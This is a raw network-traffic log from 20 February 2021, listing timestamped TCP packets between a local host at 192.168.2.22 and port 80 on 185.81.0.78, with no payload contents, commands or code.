Feb 20, 2021 09:48:08.594741106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594743967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594755888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594774008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594784975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594801903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594805956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594836950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594846010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594858885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594863892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594888926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594898939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594917059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594923973 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594943047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594953060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594963074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594974041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594997883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595019102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595033884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595041037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595045090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595057964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595074892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595079899 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595109940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595122099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595132113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595139980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595158100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595168114 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595190048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595204115 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595225096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595241070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595243931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595261097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595269918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595274925 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595307112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595314026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595334053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595344067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595352888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595365047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595370054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595385075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595402956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595405102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595432043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595457077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595458984 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595473051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595473051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595490932 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595504999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595505953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595534086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595546961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595563889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595563889 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595587969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595599890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595603943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595623016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595637083 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595669985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595695019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595705986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595710993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595724106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595731020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595745087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595761061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595763922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595793962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595794916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595812082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595828056 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595838070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595841885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595854998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595870972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595885992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595889091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595921040 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595932007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595958948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595968008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595974922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.595987082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.595999956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596007109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596018076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596034050 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596036911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596050024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596065998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596084118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596101999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596120119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596122980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596133947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596155882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596159935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596182108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596196890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596211910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596220016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596242905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596249104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596273899 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596275091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596292019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596309900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596317053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596327066 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596344948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596352100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596381903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596385956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596410990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596420050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596435070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596437931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596462965 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596482992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596492052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596507072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596508026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596520901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596529007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596539021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596559048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596570969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596589088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596590042 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596609116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596628904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596636057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596642017 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596652985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596673012 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596678972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596700907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596704006 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596716881 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596721888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596735954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596752882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596754074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596782923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596790075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596818924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596821070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596843958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596858978 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596875906 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596877098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596906900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596915007 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596923113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596946955 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596947908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596960068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596967936 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596978903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.596996069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.596996069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597024918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597032070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597044945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597063065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597075939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597075939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597105026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597110987 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597124100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597141027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597141027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597156048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597157001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597172022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597176075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597191095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597198009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597208977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597217083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597229958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597232103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597249031 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597250938 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597265959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597268105 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597284079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597294092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597301960 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597311020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597327948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597332001 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597346067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597352982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597364902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597374916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597394943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597398043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597409010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597436905 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597460985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597480059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597506046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597510099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597517967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597533941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597543955 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597558975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597568035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597589970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597592115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597608089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597628117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597632885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597640038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597649097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597667933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597678900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597686052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597707033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597713947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597724915 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597740889 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597750902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597758055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597768068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597788095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597791910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597803116 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597817898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597825050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597846031 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597852945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597871065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597882032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597886086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597898006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597909927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597918034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597927094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597944021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597949028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597954988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597965956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597981930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.597992897 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.597999096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598010063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598031998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598035097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598045111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598056078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598063946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598078966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598090887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598102093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598117113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598140001 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598141909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598160028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598165989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598170042 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598182917 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598186970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598196983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598205090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598222971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598231077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598236084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598248005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598263979 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598267078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598278046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598284006 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598299980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598311901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598315954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598349094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598352909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598375082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598386049 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598404884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598406076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598432064 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598443985 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598448038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598462105 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598472118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598479033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598486900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598505974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598515987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598520041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598542929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598551989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598562956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598570108 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598592997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598601103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598611116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598628044 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598635912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598642111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598664045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598670959 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598683119 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.598701000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.598716021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.618897915 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.657344103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.657408953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.657443047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.657469034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.657495975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.657516003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.657527924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.657561064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.657562971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.657567024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.657572031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.657576084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.657578945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.657603025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.657605886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.657624006 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.657650948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.657655001 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.657666922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.657670975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.657692909 CET	49165	80	192.168.2.22	185.81.0.78
